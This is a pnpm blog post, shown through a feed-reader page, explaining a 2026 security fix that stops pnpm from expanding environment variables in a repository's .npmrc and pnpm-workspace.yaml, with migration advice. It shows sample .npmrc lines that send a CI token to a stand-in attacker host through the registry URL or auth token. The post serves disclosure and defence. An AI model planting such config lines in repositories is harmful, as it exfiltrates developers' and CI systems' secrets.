惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
Troy Hunt's Blog
P
Proofpoint News Feed
V
Vulnerabilities – Threatpost
C
Cybersecurity and Infrastructure Security Agency CISA
K
Kaspersky official blog
Cyberwarzone
Cyberwarzone
T
Tor Project blog
Cisco Talos Blog
Cisco Talos Blog
S
Securelist
L
Lohrmann on Cybersecurity
Security Latest
Security Latest
T
Threatpost
H
Heimdal Security Blog
W
WeLiveSecurity
A
Arctic Wolf
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
G
GRAHAM CLULEY
IT之家
IT之家
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
TaoSecurity Blog
TaoSecurity Blog
A
About on SuperTechFans
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
N
News and Events Feed by Topic
Hacker News - Newest:
Hacker News - Newest: "LLM"
Last Week in AI
Last Week in AI
T
The Blog of Author Tim Ferriss
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Microsoft Azure Blog
Microsoft Azure Blog
Hugging Face - Blog
Hugging Face - Blog
Google DeepMind News
Google DeepMind News
量子位
Stack Overflow Blog
Stack Overflow Blog
Know Your Adversary
Know Your Adversary
B
Blog RSS Feed
阮一峰的网络日志
阮一峰的网络日志
WordPress大学
WordPress大学
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
AI
AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 司徒正美
Apple Machine Learning Research
Apple Machine Learning Research
GbyAI
GbyAI
Vercel News
Vercel News
C
Cyber Attacks, Cyber Crime and Cyber Security
Latest news
Latest news
D
Darknet – Hacking Tools, Hacker News & Cyber Security
大猫的无限游戏
大猫的无限游戏
Forbes - Security
Forbes - Security

pnpm Blog

pnpm 11.10 pnpm 11.9 pnpm 11.8 pnpm 11.7 pnpm 11.6 pnpm 11.5 pnpm 11.4 pnpm 11.3 pnpm 11.2 pnpm 11.1 pnpm 11.0 pnpm 10.32 pnpm 10.31 pnpm 10.30 pnpm 10.29 pnpm 10.28 pnpm 10.27 🚀 2025年的 pnpm pnpm 10.26 pnpm 10.25 我们如何保护新闻编辑部免受npm供应链攻击 pnpm 10.24 pnpm 10.23 pnpm 10.22 pnpm 10.21 pnpm 10.20
Why pnpm no longer expands environment variables in a repository's .npmrc
Zoltan Kochan · 2026-06-11 · via pnpm Blog

pnpm used to expand ${ENV_VAR} placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment. As of v10.34.2 and v11.5.3, pnpm stops expanding environment variables in repository-controlled registry and credential settings.

This was a security fix (GHSA-3qhv-2rgh-x77r), and it is a breaking change for some setups. This post explains the attack, what exactly changed, and how to migrate.

The attack

A .npmrc committed to a repository is attacker-controlled the moment you clone the repo. Before this change, pnpm would expand environment variables in that file when resolving dependencies — before any lifecycle script ran, so even pnpm's script-blocking protections didn't help.

Consider a repository that ships this .npmrc:

registry=https://attacker.example/${CI_JOB_TOKEN}/

or this one:

registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}

When you ran pnpm install with CI_JOB_TOKEN (or any other guessable secret) present in your environment, pnpm expanded the placeholder and sent the secret straight to the attacker — either in the request URL (https://attacker.example/<secret>/...) or in an Authorization: Bearer <secret> header. The same trick worked through registry URLs in pnpm-workspace.yaml.

No install scripts, no postinstall — just resolving dependencies was enough to exfiltrate a token.

What changed

pnpm now treats environment expansion as trust-aware. Environment variables are no longer expanded when the value comes from a repository-controlled file:

  • In the project and workspace .npmrc: registry, @scope:registry, proxy URLs, URL-scoped keys (//host/…), and credential values (_authToken, _auth, _password, username, tokenHelper, cert, key).
  • In pnpm-workspace.yaml: registry URLs (registry, and the values of registries / namedRegistries).

A setting that contains a ${...} placeholder in one of these positions is ignored, and pnpm prints a warning explaining how to migrate it.

Environment variables are still expanded in config that doesn't come from the repository:

  • your user-level ~/.npmrc (and the file pointed to by npmrcAuthFile);
  • the global configuration;
  • command-line options;
  • environment config.

That boundary is the whole point: a token belongs in a location you control, not one that ships with the code you're about to install. We also hardened a related edge case where a repository .npmrc could redirect which file pnpm treats as trusted user/global config (via userconfig, globalconfig, or prefix); those destinations are now resolved only from trusted sources.

How to migrate

If your authentication broke after upgrading, move the token out of the committed .npmrc and into a trusted location.

Write it to your user/global config (this is what pnpm's own CI does):

pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN"

pnpm config set writes to your user/global config by default, never to the project .npmrc, so the token stays out of the repository.

Or keep the ${NPM_TOKEN} line in your user-level ~/.npmrc instead of the repository — environment variables are still expanded there.

In GitHub Actions, actions/setup-node with the registry-url input already writes a user-level .npmrc, so authenticating through NODE_AUTH_TOKEN keeps working with no further changes:

- uses: actions/setup-node@v4
with:
node-version: 24
registry-url: https://registry.npmjs.org
- run: pnpm install
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

On other CI systems where editing every pipeline is impractical, you can declare the repository's own .npmrc trusted by setting one environment variable in the CI environment:

# v11:
PNPM_CONFIG_NPMRC_AUTH_FILE=.npmrc
# v10 (or as a fallback):
NPM_CONFIG_USERCONFIG=.npmrc

Because that trust declaration comes from the environment — not from the repository — a malicious repo can't set it for you. Only use it in environments that build trusted repositories: it disables the protection for that checkout entirely.

Dynamic registry URLs

The same rule applies to registry and proxy URLs. If you used an environment variable to template a registry URL, move it to a trusted source (pnpm config set, your user ~/.npmrc, a CLI option, or environment config). If the URL isn't secret, you can simply write the resolved value directly in the project .npmrc — only ${...} placeholders are ignored, literal URLs are fine.

Sorry about the breakage

Shipping a breaking change in a patch release is not something we do lightly, and we know it disrupted some CI pipelines. But this was a reported vulnerability with a working exploit, and leaving it open — or waiting for the next major — would have meant knowingly shipping a way for any repository to read your secrets. Backporting the fix to v10 as a patch was the only way existing users would actually receive it.

For the full migration guide, see the authentication settings documentation.